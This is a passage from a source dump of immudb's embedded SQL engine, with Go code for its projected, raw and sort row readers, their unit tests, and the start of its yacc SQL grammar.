CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "fmt" ) type projectedRowReader struct { rowReader RowReader tableAlias string targets []TargetEntry } func newProjectedRowReader(ctx context.Context, rowReader RowReader, tableAlias string, targets []TargetEntry) (*projectedRowReader, error) { // case: SELECT * if len(targets) == 0 { cols, err := rowReader.Columns(ctx) if err != nil { return nil, err } if len(cols) == 0 { return nil, fmt.Errorf("SELECT * with no tables specified is not valid") } for _, col := range cols { targets = append(targets, TargetEntry{ Exp: &ColSelector{ table: col.Table, col: col.Column, }, }) } } return &projectedRowReader{ rowReader: rowReader, tableAlias: tableAlias, targets: targets, }, nil } func (pr *projectedRowReader) onClose(callback func()) { pr.rowReader.onClose(callback) } func (pr *projectedRowReader) Tx() *SQLTx { return pr.rowReader.Tx() } func (pr *projectedRowReader) TableAlias() string { if pr.tableAlias == "" { return pr.rowReader.TableAlias() } return pr.tableAlias } func (pr *projectedRowReader) OrderBy() []ColDescriptor { return pr.rowReader.OrderBy() } func (pr *projectedRowReader) ScanSpecs() *ScanSpecs { return pr.rowReader.ScanSpecs() } func (pr *projectedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { colsBySel, err := pr.colsBySelector(ctx) if err != nil { return nil, err } colsByPos := make([]ColDescriptor, len(pr.targets)) for i, t := range pr.targets { var aggFn, table, col string = "", pr.rowReader.TableAlias(), "" if s, ok := t.Exp.(Selector); ok { aggFn, table, col = s.resolve(pr.rowReader.TableAlias()) } if pr.tableAlias != "" { table = pr.tableAlias } if t.As != "" { col = t.As } else if aggFn != "" || col == "" { col = fmt.Sprintf("col%d", i) } aggFn = "" colsByPos[i] = ColDescriptor{ AggFn: aggFn, Table: table, Column: col, } encSel := colsByPos[i].Selector() colsByPos[i].Type = colsBySel[encSel].Type } return colsByPos, nil } func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { dsColDescriptors, err := pr.rowReader.colsBySelector(ctx) if err != nil { return nil, err } colDescriptors := make(map[string]ColDescriptor, len(pr.targets)) emptyParams := make(map[string]string) for i, t := range pr.targets { var aggFn, table, col string = "", pr.rowReader.TableAlias(), "" if s, ok := t.Exp.(Selector); ok { aggFn, table, col = s.resolve(pr.rowReader.TableAlias()) } sqlType, err := t.Exp.inferType(dsColDescriptors, emptyParams, pr.rowReader.TableAlias()) if err != nil { return nil, err } if pr.tableAlias != "" { table = pr.tableAlias } if t.As != "" { col = t.As } else if aggFn != "" || col == "" { col = fmt.Sprintf("col%d", i) } aggFn = "" des := ColDescriptor{ AggFn: aggFn, Table: table, Column: col, Type: sqlType, } colDescriptors[des.Selector()] = des } return colDescriptors, nil } func (pr *projectedRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { if err := pr.rowReader.InferParameters(ctx, params); err != nil { return err } cols, err := pr.rowReader.colsBySelector(ctx) if err != nil { return err } for _, ex := range pr.targets { _, err = ex.Exp.inferType(cols, params, pr.TableAlias()) if err != nil { return err } } return nil } func (pr *projectedRowReader) Parameters() map[string]interface{} { return pr.rowReader.Parameters() } func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { row, err := pr.rowReader.Read(ctx) if err != nil { return nil, err } prow := &Row{ ValuesByPosition: make([]TypedValue, len(pr.targets)), ValuesBySelector: make(map[string]TypedValue, len(pr.targets)), } for i, t := range pr.targets { e, err := t.Exp.substitute(pr.Parameters()) if err != nil { return nil, fmt.Errorf("%w: when evaluating WHERE clause", err) } v, err := e.reduce(pr.Tx(), row, pr.rowReader.TableAlias()) if err != nil { return nil, err } var aggFn, table, col string = "", pr.rowReader.TableAlias(), "" if s, ok := t.Exp.(Selector); ok { aggFn, table, col = s.resolve(pr.rowReader.TableAlias()) } if pr.tableAlias != "" { table = pr.tableAlias } if t.As != "" { col = t.As } else if aggFn != "" || col == "" { col = fmt.Sprintf("col%d", i) } prow.ValuesByPosition[i] = v prow.ValuesBySelector[EncodeSelector("", table, col)] = v } return prow, nil } func (pr *projectedRowReader) Close() error { return pr.rowReader.Close() } ================================================ FILE: embedded/sql/row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "crypto/sha256" "encoding/binary" "errors" "fmt" "math" "github.com/codenotary/immudb/embedded/store" ) type RowReader interface { Tx() *SQLTx TableAlias() string Parameters() map[string]interface{} Read(ctx context.Context) (*Row, error) Close() error Columns(ctx context.Context) ([]ColDescriptor, error) OrderBy() []ColDescriptor ScanSpecs() *ScanSpecs InferParameters(ctx context.Context, params map[string]SQLValueType) error colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) onClose(func()) } type ScanSpecs struct { Index *Index rangesByColID map[uint32]*typedValueRange IncludeHistory bool IncludeTxMetadata bool DescOrder bool groupBySortExps []*OrdExp orderBySortExps []*OrdExp } func (s *ScanSpecs) extraCols() int { n := 0 if s.IncludeHistory { n++ } if s.IncludeTxMetadata { n++ } return n } type Row struct { ValuesByPosition []TypedValue ValuesBySelector map[string]TypedValue } // rows are selector-compatible if both rows have the same assigned value for all specified selectors func (row *Row) compatible(aRow *Row, selectors []*ColSelector, table string) (bool, error) { for _, sel := range selectors { c := EncodeSelector(sel.resolve(table)) val1, ok := row.ValuesBySelector[c] if !ok { return false, ErrInvalidColumn } val2, ok := aRow.ValuesBySelector[c] if !ok { return false, ErrInvalidColumn } cmp, err := val1.Compare(val2) if err != nil { return false, err } if cmp != 0 { return false, nil } } return true, nil } func (row *Row) digest(cols []ColDescriptor) (d [sha256.Size]byte, err error) { h := sha256.New() for i, v := range row.ValuesByPosition { var b [4]byte binary.BigEndian.PutUint32(b[:], uint32(i)) h.Write(b[:]) _, isNull := v.(*NullValue) if isNull { continue } encVal, err := EncodeValue(v, v.Type(), 0) if err != nil { return d, err } h.Write(encVal) } copy(d[:], h.Sum(nil)) return } type rawRowReader struct { tx *SQLTx table *Table tableAlias string colsByPos []ColDescriptor colsBySel map[string]ColDescriptor scanSpecs *ScanSpecs // defines a sub-range a transactions based on a combination of tx IDs and timestamps // the query is resolved only taking into consideration that range of transactioins period period // underlying store supports reading entries within a range of txs // the range is calculated based on the period stmt, which is included here to support // lazy evaluation when parameters are available txRange *txRange params map[string]interface{} reader store.KeyReader onCloseCallback func() } type txRange struct { initialTxID uint64 finalTxID uint64 } type ColDescriptor struct { AggFn string Table string Column string Type SQLValueType } func (d *ColDescriptor) Selector() string { return EncodeSelector(d.AggFn, d.Table, d.Column) } type emptyKeyReader struct { } func (r emptyKeyReader) Read(ctx context.Context) (key []byte, val store.ValueRef, err error) { return nil, nil, store.ErrNoMoreEntries } func (r emptyKeyReader) ReadBetween(ctx context.Context, initialTxID uint64, finalTxID uint64) (key []byte, val store.ValueRef, err error) { return nil, nil, store.ErrNoMoreEntries } func (r emptyKeyReader) Reset() error { return nil } func (r emptyKeyReader) Close() error { return nil } func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, period period, tableAlias string, scanSpecs *ScanSpecs) (*rawRowReader, error) { if table == nil || scanSpecs == nil || scanSpecs.Index == nil { return nil, ErrIllegalArguments } rSpec, err := keyReaderSpecFrom(tx.engine.prefix, table, scanSpecs) if err != nil { return nil, err } var r store.KeyReader if table.name == "pg_type" { r = &emptyKeyReader{} } else { r, err = tx.newKeyReader(*rSpec) if err != nil { return nil, err } } if tableAlias == "" { tableAlias = table.name } nCols := len(table.cols) + scanSpecs.extraCols() colsByPos := make([]ColDescriptor, nCols) colsBySel := make(map[string]ColDescriptor, nCols) off := 0 if scanSpecs.IncludeHistory { colDescriptor := ColDescriptor{ Table: tableAlias, Column: revCol, Type: IntegerType, } colsByPos[off] = colDescriptor colsBySel[colDescriptor.Selector()] = colDescriptor off++ } if scanSpecs.IncludeTxMetadata { colDescriptor := ColDescriptor{ Table: tableAlias, Column: txMetadataCol, Type: JSONType, } colsByPos[off] = colDescriptor colsBySel[colDescriptor.Selector()] = colDescriptor off++ } for i, c := range table.cols { colDescriptor := ColDescriptor{ Table: tableAlias, Column: c.colName, Type: c.colType, } colsByPos[off+i] = colDescriptor colsBySel[colDescriptor.Selector()] = colDescriptor } return &rawRowReader{ tx: tx, table: table, period: period, tableAlias: tableAlias, colsByPos: colsByPos, colsBySel: colsBySel, scanSpecs: scanSpecs, params: params, reader: r, }, nil } func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (spec *store.KeyReaderSpec, err error) { prefix := MapKey(sqlPrefix, MappedPrefix, EncodeID(table.id), EncodeID(scanSpecs.Index.id)) var loKey []byte var loKeyReady bool var hiKey []byte var hiKeyReady bool loKey = make([]byte, len(prefix)) copy(loKey, prefix) hiKey = make([]byte, len(prefix)) copy(hiKey, prefix) // seekKey and endKey in the loop below are scan prefixes for beginning // and end of the index scanning range. On each index we try to make them more // concrete. for _, col := range scanSpecs.Index.cols { colRange, ok := scanSpecs.rangesByColID[col.id] if !ok { break } if !hiKeyReady { if colRange.hRange == nil { hiKeyReady = true } else { encVal, _, err := EncodeValueAsKey(colRange.hRange.val, col.colType, col.MaxLen()) if err != nil { return nil, err } hiKey = append(hiKey, encVal...) } } if !loKeyReady { if colRange.lRange == nil { loKeyReady = true } else { encVal, _, err := EncodeValueAsKey(colRange.lRange.val, col.colType, col.MaxLen()) if err != nil { return nil, err } loKey = append(loKey, encVal...) } } } // Ensure the hiKey is inclusive regarding all values with that prefix hiKey = append(hiKey, KeyValPrefixUpperBound) seekKey := loKey endKey := hiKey if scanSpecs.DescOrder { seekKey, endKey = endKey, seekKey } return &store.KeyReaderSpec{ SeekKey: seekKey, InclusiveSeek: true, EndKey: endKey, InclusiveEnd: true, Prefix: prefix, DescOrder: scanSpecs.DescOrder, Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, IncludeHistory: scanSpecs.IncludeHistory, }, nil } func (r *rawRowReader) onClose(callback func()) { r.onCloseCallback = callback } func (r *rawRowReader) Tx() *SQLTx { return r.tx } func (r *rawRowReader) TableAlias() string { return r.tableAlias } func (r *rawRowReader) OrderBy() []ColDescriptor { cols := make([]ColDescriptor, len(r.scanSpecs.Index.cols)) for i, col := range r.scanSpecs.Index.cols { cols[i] = ColDescriptor{ Table: r.tableAlias, Column: col.colName, Type: col.colType, } } return cols } func (r *rawRowReader) ScanSpecs() *ScanSpecs { return r.scanSpecs } func (r *rawRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { ret := make([]ColDescriptor, len(r.colsByPos)) copy(ret, r.colsByPos) return ret, nil } func (r *rawRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { ret := make(map[string]ColDescriptor, len(r.colsBySel)) for sel := range r.colsBySel { ret[sel] = r.colsBySel[sel] } return ret, nil } func (r *rawRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { cols, err := r.colsBySelector(ctx) if err != nil { return err } if r.period.start != nil { _, err = r.period.start.instant.exp.inferType(cols, params, r.TableAlias()) if err != nil { return err } } if r.period.end != nil { _, err = r.period.end.instant.exp.inferType(cols, params, r.TableAlias()) if err != nil { return err } } return nil } func (r *rawRowReader) Parameters() map[string]interface{} { return r.params } func (r *rawRowReader) reduceTxRange() (err error) { if r.txRange != nil || (r.period.start == nil && r.period.end == nil) { return nil } txRange := &txRange{ initialTxID: uint64(0), finalTxID: uint64(math.MaxUint64), } if r.period.start != nil { txRange.initialTxID, err = r.period.start.instant.resolve(r.tx, r.params, true, r.period.start.inclusive) if err != nil { return err } } if r.period.end != nil { txRange.finalTxID, err = r.period.end.instant.resolve(r.tx, r.params, false, r.period.end.inclusive) if err != nil { return err } } r.txRange = txRange return nil } func (r *rawRowReader) Read(ctx context.Context) (*Row, error) { if err := ctx.Err(); err != nil { return nil, err } //var mkey []byte var vref store.ValueRef // evaluation of txRange is postponed to allow parameters to be provided after rowReader initialization err := r.reduceTxRange() if errors.Is(err, store.ErrTxNotFound) { return nil, ErrNoMoreRows } if err != nil { return nil, err } if r.txRange == nil { _, vref, err = r.reader.Read(ctx) //mkey } else { _, vref, err = r.reader.ReadBetween(ctx, r.txRange.initialTxID, r.txRange.finalTxID) //mkey } if err != nil { return nil, err } v, err := vref.Resolve() if err != nil { return nil, err } valuesByPosition := make([]TypedValue, len(r.colsByPos)) valuesBySelector := make(map[string]TypedValue, len(r.colsBySel)) for i, col := range r.colsByPos { var val TypedValue switch col.Column { case revCol: val = &Integer{val: int64(vref.HC())} case txMetadataCol: val, err = r.parseTxMetadata(vref.TxMetadata()) if err != nil { return nil, err } default: val = &NullValue{t: col.Type} } valuesByPosition[i] = val valuesBySelector[col.Selector()] = val } if len(v) < EncLenLen { return nil, ErrCorruptedData } extraCols := r.scanSpecs.extraCols() voff := 0 cols := int(binary.BigEndian.Uint32(v[voff:])) voff += EncLenLen for i, pos := 0, 0; i < cols; i++ { if len(v) < EncIDLen { return nil, ErrCorruptedData } colID := binary.BigEndian.Uint32(v[voff:]) voff += EncIDLen col, err := r.table.GetColumnByID(colID) if errors.Is(err, ErrColumnDoesNotExist) && colID <= r.table.maxColID { // Dropped column, skip it vlen, n, err := DecodeValueLength(v[voff:]) if err != nil { return nil, err } voff += n + vlen continue } if err != nil { return nil, ErrCorruptedData } val, n, err := DecodeValue(v[voff:], col.colType) if err != nil { return nil, err } voff += n // make sure value is inserted in the correct position for pos < len(r.table.cols) && r.table.cols[pos].id < colID { pos++ } if pos == len(r.table.cols) || r.table.cols[pos].id != colID { return nil, ErrCorruptedData } valuesByPosition[pos+extraCols] = val pos++ valuesBySelector[EncodeSelector("", r.tableAlias, col.colName)] = val } if len(v)-voff > 0 { return nil, ErrCorruptedData } return &Row{ValuesByPosition: valuesByPosition, ValuesBySelector: valuesBySelector}, nil } func (r *rawRowReader) parseTxMetadata(txmd *store.TxMetadata) (TypedValue, error) { if txmd == nil { return &NullValue{t: JSONType}, nil } if extra := txmd.Extra(); extra != nil { if r.tx.engine.parseTxMetadata == nil { return nil, fmt.Errorf("unable to parse tx metadata") } md, err := r.tx.engine.parseTxMetadata(extra) if err != nil { return nil, fmt.Errorf("%w: %s", ErrInvalidTxMetadata, err) } return &JSON{val: md}, nil } return &NullValue{t: JSONType}, nil } func (r *rawRowReader) Close() error { if r.onCloseCallback != nil { defer r.onCloseCallback() } return r.reader.Close() } func ReadAllRows(ctx context.Context, reader RowReader) ([]*Row, error) { var rows []*Row err := ReadRowsBatch(ctx, reader, 100, func(rowBatch []*Row) error { if rows == nil { rows = make([]*Row, 0, len(rowBatch)) } rows = append(rows, rowBatch...) return nil }) return rows, err } func ReadRowsBatch(ctx context.Context, reader RowReader, batchSize int, onBatch func([]*Row) error) error { rows := make([]*Row, batchSize) hasMoreRows := true for hasMoreRows { n, err := readNRows(ctx, reader, batchSize, rows) if n > 0 { if err := onBatch(rows[:n]); err != nil { return err } } hasMoreRows = !errors.Is(err, ErrNoMoreRows) if err != nil && hasMoreRows { return err } } return nil } func readNRows(ctx context.Context, reader RowReader, n int, outRows []*Row) (int, error) { for i := 0; i < n; i++ { r, err := reader.Read(ctx) if err != nil { return i, err } outRows[i] = r } return n, nil } ================================================ FILE: embedded/sql/row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "testing" "github.com/stretchr/testify/require" ) func TestKeyReaderSpecFromCornerCases(t *testing.T) { prefix := []byte("key.prefix.") table := &Table{ id: 2, } index := &Index{ table: table, id: 3, cols: []*Column{ { id: 4, maxLen: 0, }, }, } t.Run("fail on invalid hrange", func(t *testing.T) { scanSpecs := &ScanSpecs{ Index: index, rangesByColID: map[uint32]*typedValueRange{ 4: { hRange: &typedValueSemiRange{ val: &Varchar{val: "test"}, }, }, }, } _, err := keyReaderSpecFrom(prefix, table, scanSpecs) require.ErrorIs(t, err, ErrInvalidValue) }) t.Run("fail on invalid lrange", func(t *testing.T) { scanSpecs := &ScanSpecs{ Index: index, rangesByColID: map[uint32]*typedValueRange{ 4: { lRange: &typedValueSemiRange{ val: &Varchar{val: "test"}, }, }, }, } _, err := keyReaderSpecFrom(prefix, table, scanSpecs) require.ErrorIs(t, err, ErrInvalidValue) }) } ================================================ FILE: embedded/sql/sort_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "fmt" ) type sortDirection int8 const ( sortDirectionDesc sortDirection = -1 sortDirectionAsc sortDirection = 1 ) type sortRowReader struct { rowReader RowReader ordExps []*OrdExp orderByDescriptors []ColDescriptor sorter fileSorter resultReader resultReader } func newSortRowReader(rowReader RowReader, ordExps []*OrdExp) (*sortRowReader, error) { if rowReader == nil || len(ordExps) == 0 { return nil, ErrIllegalArguments } descriptors, err := rowReader.Columns(context.Background()) if err != nil { return nil, err } for _, col := range ordExps { colPos, isColRef := col.exp.(*Integer) if isColRef && (colPos.val <= 0 || colPos.val > int64(len(descriptors))) { return nil, fmt.Errorf("position %d is not in select list", colPos.val) } } colPosBySelector, err := getColPositionsBySelector(descriptors) if err != nil { return nil, err } colTypes, err := getColTypes(rowReader) if err != nil { return nil, err } orderByDescriptors, err := getOrderByDescriptors(ordExps, rowReader) if err != nil { return nil, err } tx := rowReader.Tx() sr := &sortRowReader{ rowReader: rowReader, ordExps: ordExps, orderByDescriptors: orderByDescriptors, sorter: fileSorter{ colPosBySelector: colPosBySelector, colTypes: colTypes, tx: tx, sortBufSize: tx.engine.sortBufferSize, sortBuf: make([]*Row, tx.engine.sortBufferSize), }, } directions := make([]sortDirection, len(ordExps)) for i, col := range ordExps { directions[i] = sortDirectionAsc if col.descOrder { directions[i] = sortDirectionDesc } } t1 := make(Tuple, len(ordExps)) t2 := make(Tuple, len(ordExps)) sr.sorter.cmp = func(r1, r2 *Row) (int, error) { if err := sr.evalSortExps(r1, t1); err != nil { return 0, err } if err := sr.evalSortExps(r2, t2); err != nil { return 0, err } res, idx, err := t1.Compare(t2) if err != nil { return 0, err } if idx >= 0 { return res * int(directions[idx]), nil } return res, nil } return sr, nil } func (s *sortRowReader) evalSortExps(inRow *Row, out Tuple) error { for i, col := range s.ordExps { colPos, isColRef := col.exp.(*Integer) if isColRef { if colPos.val < 1 || colPos.val > int64(len(inRow.ValuesByPosition)) { return fmt.Errorf("position %d is not in select list", colPos.val) } out[i] = inRow.ValuesByPosition[colPos.val-1] } else { val, err := col.exp.reduce(s.Tx(), inRow, s.TableAlias()) if err != nil { return err } out[i] = val } } return nil } func getOrderByDescriptors(ordExps []*OrdExp, rowReader RowReader) ([]ColDescriptor, error) { colsBySel, err := rowReader.colsBySelector(context.Background()) if err != nil { return nil, err } params := make(map[string]string) orderByDescriptors := make([]ColDescriptor, len(ordExps)) for i, col := range ordExps { sqlType, err := col.exp.inferType(colsBySel, params, rowReader.TableAlias()) if err != nil { return nil, err } if sel := col.AsSelector(); sel != nil { aggFn, table, col := sel.resolve(rowReader.TableAlias()) orderByDescriptors[i] = ColDescriptor{ AggFn: aggFn, Table: table, Column: col, Type: sqlType, } } else { orderByDescriptors[i] = ColDescriptor{ Column: col.exp.String(), Type: sqlType, } } } return orderByDescriptors, nil } func getColTypes(r RowReader) ([]string, error) { descriptors, err := r.Columns(context.Background()) if err != nil { return nil, err } cols := make([]string, len(descriptors)) for i, desc := range descriptors { cols[i] = desc.Type } return cols, err } func getColPositionsBySelector(desc []ColDescriptor) (map[string]int, error) { colPositionsBySelector := make(map[string]int) for i, desc := range desc { colPositionsBySelector[desc.Selector()] = i } return colPositionsBySelector, nil } func (sr *sortRowReader) onClose(callback func()) { sr.rowReader.onClose(callback) } func (sr *sortRowReader) Tx() *SQLTx { return sr.rowReader.Tx() } func (sr *sortRowReader) TableAlias() string { return sr.rowReader.TableAlias() } func (sr *sortRowReader) Parameters() map[string]interface{} { return sr.rowReader.Parameters() } func (sr *sortRowReader) OrderBy() []ColDescriptor { return sr.orderByDescriptors } func (sr *sortRowReader) ScanSpecs() *ScanSpecs { return sr.rowReader.ScanSpecs() } func (sr *sortRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return sr.rowReader.Columns(ctx) } func (sr *sortRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return sr.rowReader.colsBySelector(ctx) } func (sr *sortRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { return sr.rowReader.InferParameters(ctx, params) } func (sr *sortRowReader) Read(ctx context.Context) (*Row, error) { if sr.resultReader == nil { reader, err := sr.readAndSort(ctx) if err != nil { return nil, err } sr.resultReader = reader } return sr.resultReader.Read() } func (sr *sortRowReader) readAndSort(ctx context.Context) (resultReader, error) { err := sr.readAll(ctx) if err != nil { return nil, err } return sr.sorter.finalize() } func (sr *sortRowReader) readAll(ctx context.Context) error { for { row, err := sr.rowReader.Read(ctx) if err == ErrNoMoreRows { return nil } if err != nil { return err } err = sr.sorter.update(row) if err != nil { return err } } } func (sr *sortRowReader) Close() error { return sr.rowReader.Close() } ================================================ FILE: embedded/sql/sort_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) func TestSortRowReader(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, err = newSortRowReader(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx, "CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() table := tx.catalog.tables[0] r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) sr, err := newSortRowReader(r, []*OrdExp{{exp: &ColSelector{col: "number"}}}) require.NoError(t, err) orderBy := sr.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "number", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) cols, err := sr.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 2) require.Empty(t, sr.Parameters()) scanSpecs := sr.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.True(t, scanSpecs.Index.IsPrimary()) } ================================================ FILE: embedded/sql/sql_grammar.y ================================================ /* Copyright 2022 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ %{ package sql import "fmt" func setResult(l yyLexer, stmts []SQLStmt) { l.(*lexer).result = stmts } %} %union{ stmts []SQLStmt stmt SQLStmt datasource DataSource colSpec *ColSpec cols []*ColSelector rows []*RowSpec row *RowSpec values []ValueExp value ValueExp id string integer uint64 float float64 str string boolean bool blob []byte keyword string sqlType SQLValueType aggFn AggregateFn colNames []string col *ColSelector sel Selector targets []TargetEntry jsonFields []string distinct bool ds DataSource tableRef *tableRef period period openPeriod *openPeriod periodInstant periodInstant joins []*JoinSpec join *JoinSpec joinType JoinType check CheckConstraint exp ValueExp binExp ValueExp err error ordexps []*OrdExp opt_ord bool logicOp LogicOperator cmpOp CmpOperator pparam int update *colUpdate updates []*colUpdate onConflict *OnConflictDo permission Permission sqlPrivilege SQLPrivilege sqlPrivileges []SQLPrivilege whenThenClauses []whenThenClause tableElem TableElem tableElems []TableElem timestampField TimestampFieldType } %token CREATE DROP USE DATABASE USER WITH PASSWORD READ READWRITE ADMIN SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF %token INTEGER_TYPE BOOLEAN_TYPE VARCHAR_TYPE UUID_TYPE BLOB_TYPE TIMESTAMP_TYPE FLOAT_TYPE JSON_TYPE %token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN CONSTRAINT PRIMARY KEY CHECK GRANT REVOKE GRANTS FOR PRIVILEGES %token BEGIN TRANSACTION COMMIT ROLLBACK %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING RETURNING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL CASE WHEN THEN ELSE END %token NOT LIKE IF EXISTS IN IS %token AUTO_INCREMENT NULL CAST SCAST %token SHOW DATABASES TABLES USERS %token BETWEEN %token EXTRACT YEAR MONTH DAY HOUR MINUTE SECOND %token NPARAM %token PPARAM %token JOINTYPE %token AND OR %token CMPOP %token NOT_MATCHES_OP %token IDENTIFIER %token INTEGER_LIT %token FLOAT_LIT %token VARCHAR_LIT %token BOOLEAN_LIT %token BLOB_LIT %token AGGREGATE_FUNC %token ERROR %token DOT %token ARROW %left ',' %right AS %nonassoc BETWEEN %left OR %left AND %right NOT %nonassoc CMPOP LIKE NOT_MATCHES_OP IS %left '+' '-' %left '*' '/' '%' %left '.' %right STMT_SEPARATOR %type sql sqlstmts %type sqlstmt ddlstmt dmlstmt dqlstmt select_stmt %type colSpec %type col_names insert_cols one_or_more_col_names %type cols %type rows %type row %type values opt_values %type val fnCall %type selector %type jsonFields %type col %type opt_distinct opt_all %type ds values_or_query %type tableRef %type opt_period %type opt_period_start %type opt_period_end %type period_instant %type opt_joins joins %type join %type opt_join_type %type check %type tableElem %type tableElems %type exp opt_exp opt_where opt_having boundexp opt_else orExp andExp cmpExp primaryBool addExp notExp mulExp unaryExp primary %type opt_groupby %type opt_limit opt_offset case_when_exp %type opt_targets targets %type opt_max_len %type opt_as %type ordexps opt_orderby %type opt_ord %type opt_indexon %type opt_if_not_exists opt_auto_increment opt_not_null opt_not opt_primary_key %type update %type updates %type opt_on_conflict %type permission %type sqlPrivilege %type sqlPrivileges %type when_then_clauses %type timestamp_field %type sql_type %type unreserved_keyword colNameKeyword %type qualifiedName tableName col_name %start sql %% sql: sqlstmts { $$ = $1 setResult(yylex, $1) } sqlstmts: sqlstmt opt_separator { $$ = []SQLStmt{$1} } | sqlstmt STMT_SEPARATOR sqlstmts { $$ = append([]SQLStmt{$1}, $3...) } opt_separator: {} | STMT_SEPARATOR sqlstmt: ddlstmt | dmlstmt | dqlstmt ddlstmt: BEGIN TRANSACTION { $$ = &BeginTransactionStmt{} } | BEGIN { $$ = &BeginTransactionStmt{} } | COMMIT { $$ = &CommitStmt{} } | ROLLBACK { $$ = &RollbackStmt{} } | CREATE DATABASE IF NOT EXISTS IDENTIFIER { $$ = &CreateDatabaseStmt{ifNotExists: true, DB: $6} } | CREATE DATABASE IDENTIFIER { $$ = &CreateDatabaseStmt{ifNotExists: false, DB: $3} } | USE IDENTIFIER { $$ = &UseDatabaseStmt{DB: $2} } | USE DATABASE IDENTIFIER { $$ = &UseDatabaseStmt{DB: $3} } | USE SNAPSHOT opt_period { $$ = &UseSnapshotStmt{period: $3} } | CREATE TABLE IF NOT EXISTS tableName '(' tableElems ')' { $$ = newCreateTableStmt($6, $8, true) } | CREATE TABLE tableName '(' tableElems ')' { $$ = newCreateTableStmt($3, $5, false) } | DROP TABLE qualifiedName { $$ = &DropTableStmt{table: $3} } | CREATE INDEX opt_if_not_exists ON tableName '(' col_names ')' { $$ = &CreateIndexStmt{ifNotExists: $3, table: $5, cols: $7} } | CREATE UNIQUE INDEX opt_if_not_exists ON tableName '(' col_names ')' { $$ = &CreateIndexStmt{unique: true, ifNotExists: $4, table: $6, cols: $8} } | DROP INDEX ON tableName '(' col_names ')' { $$ = &DropIndexStmt{table: $4, cols: $6} } | DROP INDEX tableName DOT col_name { $$ = &DropIndexStmt{table: $3, cols: []string{$5}} } | ALTER TABLE tableName ADD COLUMN colSpec { $$ = &AddColumnStmt{table: $3, colSpec: $6} } | ALTER TABLE tableName RENAME TO tableName { $$ = &RenameTableStmt{oldName: $3, newName: $6} } | ALTER TABLE tableName RENAME COLUMN col_name TO col_name { $$ = &RenameColumnStmt{table: $3, oldName: $6, newName: $8} } | ALTER TABLE tableName DROP COLUMN col_name { $$ = &DropColumnStmt{table: $3, colName: $6} } | ALTER TABLE tableName DROP CONSTRAINT IDENTIFIER { $$ = &DropConstraintStmt{table: $3, constraintName: $6} } | CREATE 